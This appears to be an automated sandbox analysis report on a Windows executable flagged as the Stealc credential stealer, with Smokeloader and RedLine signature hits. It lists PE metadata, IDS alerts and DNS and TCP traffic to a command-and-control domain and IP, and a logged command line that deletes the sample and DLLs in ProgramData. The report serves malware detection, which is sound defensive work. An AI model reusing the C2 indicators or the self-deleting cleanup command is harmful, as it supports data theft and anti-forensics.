                                  File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&...b...b...b...|.......|.......|...H...EX..k...b.......|...c...|...c...|...c...Richb...................PE..L......b...........

                                  File Icon

                                  Icon Hash:4d45454d6545691d

                                  Static PE Info

                                  General

                                  Entrypoint:0x404e79
                                  Entrypoint Section:.text
                                  Digitally signed:false
                                  Imagebase:0x400000
                                  Subsystem:windows gui
                                  Image File Characteristics:EXECUTABLE_IMAGE, 32BIT_MACHINE
                                  DLL Characteristics:NX_COMPAT, TERMINAL_SERVER_AWARE
                                  Time Stamp:0x6296E609 [Wed Jun 1 04:07:37 2022 UTC]
                                  TLS Callbacks:
                                  CLR (.Net) Version:
                                  OS Version Major:5
                                  OS Version Minor:0
                                  File Version Major:5
                                  File Version Minor:0
                                  Subsystem Version Major:5
                                  Subsystem Version Minor:0
                                  Import Hash:d683fcb523ac92743f5db043ced73806

                                  Entrypoint Preview

                                  Instruction
                                  call 00007F87B4AF1963h
                                  jmp 00007F87B4AECFFDh
                                  int3
                                  int3
                                  int3
                                  int3
                                  int3
                                  int3
                                  int3
                                  int3
                                  int3
                                  int3
                                  int3
                                  int3
                                  int3
                                  mov ecx, dword ptr [esp+04h]
                                  test ecx, 00000003h
                                  je 00007F87B4AED1A6h
                                  mov al, byte ptr [ecx]
                                  add ecx, 01h
                                  test al, al
                                  je 00007F87B4AED1D0h
                                  test ecx, 00000003h
                                  jne 00007F87B4AED171h
                                  add eax, 00000000h
                                  lea esp, dword ptr [esp+00000000h]
                                  lea esp, dword ptr [esp+00000000h]
                                  mov eax, dword ptr [ecx]
                                  mov edx, 7EFEFEFFh
                                  add edx, eax
                                  xor eax, FFFFFFFFh
                                  xor eax, edx
                                  add ecx, 04h
                                  test eax, 81010100h
                                  je 00007F87B4AED16Ah
                                  mov eax, dword ptr [ecx-04h]
                                  test al, al
                                  je 00007F87B4AED1B4h
                                  test ah, ah
                                  je 00007F87B4AED1A6h
                                  test eax, 00FF0000h
                                  je 00007F87B4AED195h
                                  test eax, FF000000h
                                  je 00007F87B4AED184h
                                  jmp 00007F87B4AED14Fh
                                  lea eax, dword ptr [ecx-01h]
                                  mov ecx, dword ptr [esp+04h]
                                  sub eax, ecx
                                  ret
                                  lea eax, dword ptr [ecx-02h]
                                  mov ecx, dword ptr [esp+04h]
                                  sub eax, ecx
                                  ret
                                  lea eax, dword ptr [ecx-03h]
                                  mov ecx, dword ptr [esp+04h]
                                  sub eax, ecx
                                  ret
                                  lea eax, dword ptr [ecx-04h]
                                  mov ecx, dword ptr [esp+04h]
                                  sub eax, ecx
                                  ret
                                  mov edi, edi
                                  push ebp
                                  mov ebp, esp
                                  sub esp, 20h
                                  mov eax, dword ptr [ebp+08h]
                                  push esi
                                  push edi
                                  push 00000008h
                                  pop ecx
                                  mov esi, 004012D8h
                                  lea edi, dword ptr [ebp-20h]
                                  rep movsd
                                  mov dword ptr [ebp-08h], eax
                                  mov eax, dword ptr [ebp+0Ch]
                                  pop edi
                                  mov dword ptr [ebp-04h], eax
                                  pop esi

                                  Rich Headers

                                  Programming Language:
                                  • [ASM] VS2008 build 21022
                                  • [ C ] VS2008 build 21022
                                  • [C++] VS2008 build 21022
                                  • [IMP] VS2005 build 50727
                                  • [RES] VS2008 build 21022
                                  • [LNK] VS2008 build 21022

                                  Data Directories

                                  NameVirtual AddressVirtual Size Is in Section
                                  IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                  IMAGE_DIRECTORY_ENTRY_IMPORT0x283180x64.text
                                  IMAGE_DIRECTORY_ENTRY_RESOURCE0x26f0000x1b4b0.rsrc
                                  IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                  IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                  IMAGE_DIRECTORY_ENTRY_BASERELOC0x28b0000xdfc.reloc
                                  IMAGE_DIRECTORY_ENTRY_DEBUG0x12200x1c.text
                                  IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                  IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                  IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                  IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x31900x40.text
                                  IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                  IMAGE_DIRECTORY_ENTRY_IAT0x10000x1d8.text
                                  IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                  IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                  IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                  Sections

                                  NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                  .text0x10000x27dd40x27e00False0.7861542417711599data7.580309216292186IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                  .data0x290000x2458440x1e00unknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                  .rsrc0x26f0000x1b4b00x1b600False0.3575110587899543data4.288893910573521IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                  .reloc0x28b0000x334e0x3400False0.22723858173076922data2.531131235614748IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                  Resources

                                  NameRVASizeTypeLanguageCountry
                                  RT_CURSOR0x284b780xea8Device independent bitmap graphic, 48 x 96 x 8, image size 0
                                  RT_CURSOR0x285a200x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 0
                                  RT_CURSOR0x2862c80x568Device independent bitmap graphic, 16 x 32 x 8, image size 0
                                  RT_CURSOR0x2868600xea8Device independent bitmap graphic, 48 x 96 x 8, image size 0
                                  RT_CURSOR0x2877080x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 0
                                  RT_CURSOR0x287fb00x568Device independent bitmap graphic, 16 x 32 x 8, image size 0
                                  RT_CURSOR0x2885480x130Device independent bitmap graphic, 32 x 64 x 1, image size 0
                                  RT_CURSOR0x2886780xb0Device independent bitmap graphic, 16 x 32 x 1, image size 0
                                  RT_ICON0x26f9100x6c8Device independent bitmap graphic, 24 x 48 x 8, image size 0
                                  RT_ICON0x26ffd80x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 0
                                  RT_ICON0x2725800x468Device independent bitmap graphic, 16 x 32 x 32, image size 0
                                  RT_ICON0x272a180xea8Device independent bitmap graphic, 48 x 96 x 8, image size 0
                                  RT_ICON0x2738c00x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 0
                                  RT_ICON0x2741680x568Device independent bitmap graphic, 16 x 32 x 8, image size 0
                                  RT_ICON0x2746d00x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 0
                                  RT_ICON0x276c780x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 0
                                  RT_ICON0x277d200x988Device independent bitmap graphic, 24 x 48 x 32, image size 0
                                  RT_ICON0x2786a80x468Device independent bitmap graphic, 16 x 32 x 32, image size 0
                                  RT_ICON0x278b780xea8Device independent bitmap graphic, 48 x 96 x 8, image size 0
                                  RT_ICON0x279a200x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 0
                                  RT_ICON0x27a2c80x6c8Device independent bitmap graphic, 24 x 48 x 8, image size 0
                                  RT_ICON0x27a9900x568Device independent bitmap graphic, 16 x 32 x 8, image size 0
                                  RT_ICON0x27aef80x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 0
                                  RT_ICON0x27d4a00x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 0
                                  RT_ICON0x27e5480x468Device independent bitmap graphic, 16 x 32 x 32, image size 0
                                  RT_ICON0x27ea180xea8Device independent bitmap graphic, 48 x 96 x 8, image size 0
                                  RT_ICON0x27f8c00x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 0
                                  RT_ICON0x2801680x568Device independent bitmap graphic, 16 x 32 x 8, image size 0
                                  RT_ICON0x2806d00x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 0
                                  RT_ICON0x282c780x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 0
                                  RT_ICON0x283d200x988Device independent bitmap graphic, 24 x 48 x 32, image size 0
                                  RT_ICON0x2846a80x468Device independent bitmap graphic, 16 x 32 x 32, image size 0
                                  RT_STRING0x2889800x6fadata
                                  RT_STRING0x2890800x6a8data
                                  RT_STRING0x2897280x4b8data
                                  RT_STRING0x289be00x1dadata
                                  RT_STRING0x289dc00x6ecdata
                                  RT_GROUP_CURSOR0x2868300x30data
                                  RT_GROUP_CURSOR0x2885180x30data
                                  RT_GROUP_CURSOR0x2887280x22data
                                  RT_GROUP_ICON0x284b100x68data
                                  RT_GROUP_ICON0x27e9b00x68data
                                  RT_GROUP_ICON0x2729e80x30data
                                  RT_GROUP_ICON0x278b100x68data
                                  RT_VERSION0x2887500x22cdata

                                  Imports

                                  DLLImport
                                  KERNEL32.dllAddConsoleAliasW, SleepEx, GetModuleHandleW, GetTickCount, IsBadReadPtr, GetConsoleAliasesLengthA, FreeConsole, GetVersionExW, WritePrivateProfileStructW, GetNamedPipeInfo, MulDiv, GetModuleFileNameW, CreateActCtxA, ReplaceFileA, GetStringTypeExA, CreateJobObjectA, GetProfileIntA, GetStdHandle, GetLogicalDriveStringsA, GetLastError, ReadConsoleOutputCharacterA, GetProcAddress, CancelWaitableTimer, GetLongPathNameA, VirtualAlloc, EnterCriticalSection, _hwrite, LoadLibraryA, OpenMutexA, InterlockedExchangeAdd, LocalAlloc, GetFileType, CreateFileMappingW, FindFirstVolumeMountPointW, GetNumberFormatW, CreateEventW, GetModuleFileNameA, lstrcmpiW, GetModuleHandleA, GetProcessShutdownParameters, CreateMutexA, GetFileAttributesExW, FindAtomW, EnumResourceLanguagesW, DebugBreak, FindNextVolumeA, WaitForSingleObject, GetConsoleAliasA, FindResourceW, GetCommState, AttachConsole, GetCommandLineA, GetStartupInfoA, RaiseException, RtlUnwind, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, HeapAlloc, HeapFree, WideCharToMultiByte, SetHandleCount, DeleteCriticalSection, LeaveCriticalSection, Sleep, ExitProcess, WriteFile, FreeEnvironmentStringsA, GetEnvironmentStrings, FreeEnvironmentStringsW, GetEnvironmentStringsW, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, InterlockedIncrement, SetLastError, GetCurrentThreadId, InterlockedDecrement, HeapCreate, VirtualFree, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, HeapReAlloc, SetFilePointer, GetConsoleCP, GetConsoleMode, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, InitializeCriticalSectionAndSpinCount, HeapSize, SetStdHandle, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, MultiByteToWideChar, LCMapStringA, LCMapStringW, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, FlushFileBuffers, CreateFileA, CloseHandle
                                  USER32.dllCharLowerBuffA
                                  GDI32.dllGetCharWidthW, EnumFontsW, GetCharABCWidthsFloatW
                                  ADVAPI32.dllMapGenericMask

                                  Network Behavior

                                  Snort IDS Alerts

                                  TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
                                  192.168.2.58.8.8.865323532023883 05/28/23-09:29:39.799894UDP2023883ET DNS Query to a *.top domain - Likely Hostile6532353192.168.2.58.8.8.8
                                  192.168.2.5193.106.175.21549712802044244 05/28/23-09:29:40.725978TCP2044244ET TROJAN Win32/Stealc Requesting browsers Config from C24971280192.168.2.5193.106.175.215
                                  192.168.2.5193.106.175.21549713802044246 05/28/23-09:29:40.856625TCP2044246ET TROJAN Win32/Stealc Requesting plugins Config from C24971380192.168.2.5193.106.175.215
                                  192.168.2.5193.106.175.21549711802044243 05/28/23-09:29:40.524393TCP2044243ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in4971180192.168.2.5193.106.175.215

                                  Network Port Distribution

                                  TCP Packets

                                  TimestampSource PortDest PortSource IPDest IP
                                  May 28, 2023 09:29:40.457489967 CEST4971180192.168.2.5193.106.175.215
                                  May 28, 2023 09:29:40.513911963 CEST8049711193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:40.514128923 CEST4971180192.168.2.5193.106.175.215
                                  May 28, 2023 09:29:40.524393082 CEST4971180192.168.2.5193.106.175.215
                                  May 28, 2023 09:29:40.625119925 CEST8049711193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:40.654975891 CEST8049711193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:40.655211926 CEST4971180192.168.2.5193.106.175.215
                                  May 28, 2023 09:29:40.655419111 CEST4971180192.168.2.5193.106.175.215
                                  May 28, 2023 09:29:40.663994074 CEST4971280192.168.2.5193.106.175.215
                                  May 28, 2023 09:29:40.711527109 CEST8049711193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:40.724783897 CEST8049712193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:40.725493908 CEST4971280192.168.2.5193.106.175.215
                                  May 28, 2023 09:29:40.725977898 CEST4971280192.168.2.5193.106.175.215
                                  May 28, 2023 09:29:40.796806097 CEST8049712193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:40.796840906 CEST8049712193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:40.797013044 CEST4971280192.168.2.5193.106.175.215
                                  May 28, 2023 09:29:40.797375917 CEST4971280192.168.2.5193.106.175.215
                                  May 28, 2023 09:29:40.799499035 CEST4971380192.168.2.5193.106.175.215
                                  May 28, 2023 09:29:40.855994940 CEST8049713193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:40.856226921 CEST4971380192.168.2.5193.106.175.215
                                  May 28, 2023 09:29:40.856625080 CEST4971380192.168.2.5193.106.175.215
                                  May 28, 2023 09:29:40.857398987 CEST8049712193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:40.922844887 CEST8049713193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:40.922888041 CEST8049713193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:40.922908068 CEST8049713193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:40.922950983 CEST8049713193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:40.922969103 CEST8049713193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:40.922985077 CEST8049713193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:40.923016071 CEST4971380192.168.2.5193.106.175.215
                                  May 28, 2023 09:29:40.923089981 CEST4971380192.168.2.5193.106.175.215
                                  May 28, 2023 09:29:40.924632072 CEST4971380192.168.2.5193.106.175.215
                                  May 28, 2023 09:29:40.980309963 CEST8049713193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:41.151081085 CEST4971480192.168.2.5193.106.175.215
                                  May 28, 2023 09:29:41.211818933 CEST8049714193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:41.212049007 CEST4971480192.168.2.5193.106.175.215
                                  May 28, 2023 09:29:41.213331938 CEST4971480192.168.2.5193.106.175.215
                                  May 28, 2023 09:29:41.213427067 CEST4971480192.168.2.5193.106.175.215
                                  May 28, 2023 09:29:41.273912907 CEST8049714193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:41.273943901 CEST8049714193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:41.273962975 CEST8049714193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:41.274038076 CEST8049714193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:41.274054050 CEST8049714193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:41.274143934 CEST4971480192.168.2.5193.106.175.215
                                  May 28, 2023 09:29:41.274194002 CEST8049714193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:41.274224997 CEST4971480192.168.2.5193.106.175.215
                                  May 28, 2023 09:29:41.274718046 CEST8049714193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:41.274919987 CEST8049714193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:41.275135040 CEST8049714193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:41.275156021 CEST8049714193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:41.334770918 CEST8049714193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:41.334793091 CEST8049714193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:41.334806919 CEST8049714193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:41.334884882 CEST8049714193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:41.335308075 CEST8049714193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:41.392819881 CEST8049714193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:41.393085003 CEST4971480192.168.2.5193.106.175.215
                                  May 28, 2023 09:29:41.397425890 CEST4971480192.168.2.5193.106.175.215
                                  May 28, 2023 09:29:41.407670021 CEST4971580192.168.2.5193.106.175.215
                                  May 28, 2023 09:29:41.457518101 CEST8049714193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:41.471628904 CEST8049715193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:41.471885920 CEST4971580192.168.2.5193.106.175.215
                                  May 28, 2023 09:29:41.472238064 CEST4971580192.168.2.5193.106.175.215
                                  May 28, 2023 09:29:41.542838097 CEST8049715193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:41.542870998 CEST8049715193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:41.542895079 CEST8049715193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:41.542913914 CEST8049715193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:41.543057919 CEST4971580192.168.2.5193.106.175.215
                                  May 28, 2023 09:29:41.543117046 CEST4971580192.168.2.5193.106.175.215
                                  May 28, 2023 09:29:41.543560982 CEST8049715193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:41.543591976 CEST8049715193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:41.543622017 CEST4971580192.168.2.5193.106.175.215
                                  May 28, 2023 09:29:41.543627024 CEST8049715193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:41.543649912 CEST4971580192.168.2.5193.106.175.215
                                  May 28, 2023 09:29:41.543674946 CEST4971580192.168.2.5193.106.175.215
                                  May 28, 2023 09:29:41.543821096 CEST8049715193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:41.543842077 CEST8049715193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:41.543867111 CEST4971580192.168.2.5193.106.175.215
                                  May 28, 2023 09:29:41.543886900 CEST4971580192.168.2.5193.106.175.215
                                  May 28, 2023 09:29:41.543984890 CEST8049715193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:41.544030905 CEST4971580192.168.2.5193.106.175.215
                                  May 28, 2023 09:29:41.606288910 CEST8049715193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:41.606348991 CEST8049715193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:41.606369019 CEST8049715193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:41.606389999 CEST8049715193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:41.606410980 CEST8049715193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:41.606431007 CEST8049715193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:41.606448889 CEST8049715193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:41.606468916 CEST8049715193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:41.606513977 CEST4971580192.168.2.5193.106.175.215
                                  May 28, 2023 09:29:41.606549025 CEST8049715193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:41.606568098 CEST4971580192.168.2.5193.106.175.215
                                  May 28, 2023 09:29:41.606594086 CEST4971580192.168.2.5193.106.175.215
                                  May 28, 2023 09:29:41.606745958 CEST8049715193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:41.606767893 CEST8049715193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:41.606786966 CEST8049715193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:41.606801033 CEST4971580192.168.2.5193.106.175.215
                                  May 28, 2023 09:29:41.606808901 CEST8049715193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:41.606829882 CEST8049715193.106.175.215192.168.2.5
                                  May 28, 2023 09:29:41.606832027 CEST4971580192.168.2.5193.106.175.215
                                  May 28, 2023 09:29:41.606879950 CEST4971580192.168.2.5193.106.175.215

                                  UDP Packets

                                  TimestampSource PortDest PortSource IPDest IP
                                  May 28, 2023 09:29:39.799894094 CEST6532353192.168.2.58.8.8.8
                                  May 28, 2023 09:29:40.445825100 CEST53653238.8.8.8192.168.2.5

                                  DNS Queries

                                  TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                  May 28, 2023 09:29:39.799894094 CEST192.168.2.58.8.8.80x68d5Standard query (0)ronaldlitt.topA (IP address)IN (0x0001)false

                                  DNS Answers

                                  TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                  May 28, 2023 09:29:40.445825100 CEST8.8.8.8192.168.2.50x68d5No error (0)ronaldlitt.top193.106.175.215A (IP address)IN (0x0001)false

                                  HTTP Request Dependency Graph

                                  • ronaldlitt.top

                                  Statistics

                                  Behavior

                                  Click to jump to process

                                  System Behavior

                                  General

                                  Target ID:0
                                  Start time:09:29:38
                                  Start date:28/05/2023
                                  Path:C:\Users\user\Desktop\un78exGoa4.exe
                                  Wow64 process (32bit):true
                                  Commandline:C:\Users\user\Desktop\un78exGoa4.exe
                                  Imagebase:0x400000
                                  File size:297472 bytes
                                  MD5 hash:84F304E30439CF1F837ED4F31C1FBB28
                                  Has elevated privileges:true
                                  Has administrator privileges:true
                                  Programmed in:C, C++ or other language
                                  Yara matches:
                                  • Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.421505626.0000000002410000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
                                  • Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.421100115.00000000006B5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                  • Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.421165078.00000000006D9000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
                                  • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.421176016.0000000000734000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                  Reputation:low

                                  General

                                  Target ID:3
                                  Start time:09:29:53
                                  Start date:28/05/2023
                                  Path:C:\Windows\SysWOW64\cmd.exe
                                  Wow64 process (32bit):true
                                  Commandline:"C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\Desktop\un78exGoa4.exe" & del "C:\ProgramData\*.dll"" & exit
                                  Imagebase:0x11d0000
                                  File size:232960 bytes
                                  MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                                  Has elevated privileges:true
                                  Has administrator privileges:true
                                  Programmed in:C, C++ or other language
                                  Reputation:high

                                  General

                                  Target ID:4
                                  Start time:09:29:53
                                  Start date:28/05/2023
                                  Path:C:\Windows\System32\conhost.exe
                                  Wow64 process (32bit):false
                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                  Imagebase:0x7ff7fcd70000
                                  File size:625664 bytes
                                  MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                  Has elevated privileges:true
                                  Has administrator privileges:true
                                  Programmed in:C, C++ or other language
                                  Reputation:high

                                  General

                                  Target ID:5
                                  Start time:09:29:54
                                  Start date:28/05/2023
                                  Path:C:\Windows\SysWOW64\timeout.exe
                                  Wow64 process (32bit):true
                                  Commandline:timeout /t 5
                                  Imagebase:0x60000
                                  File size:26112 bytes
                                  MD5 hash:121A4EDAE60A7AF6F5DFA82F7BB95659
                                  Has elevated privileges:true
                                  Has administrator privileges:true
                                  Programmed in:C, C++ or other language
                                  Reputation:high

                                  Disassembly

                                  ⊘No disassembly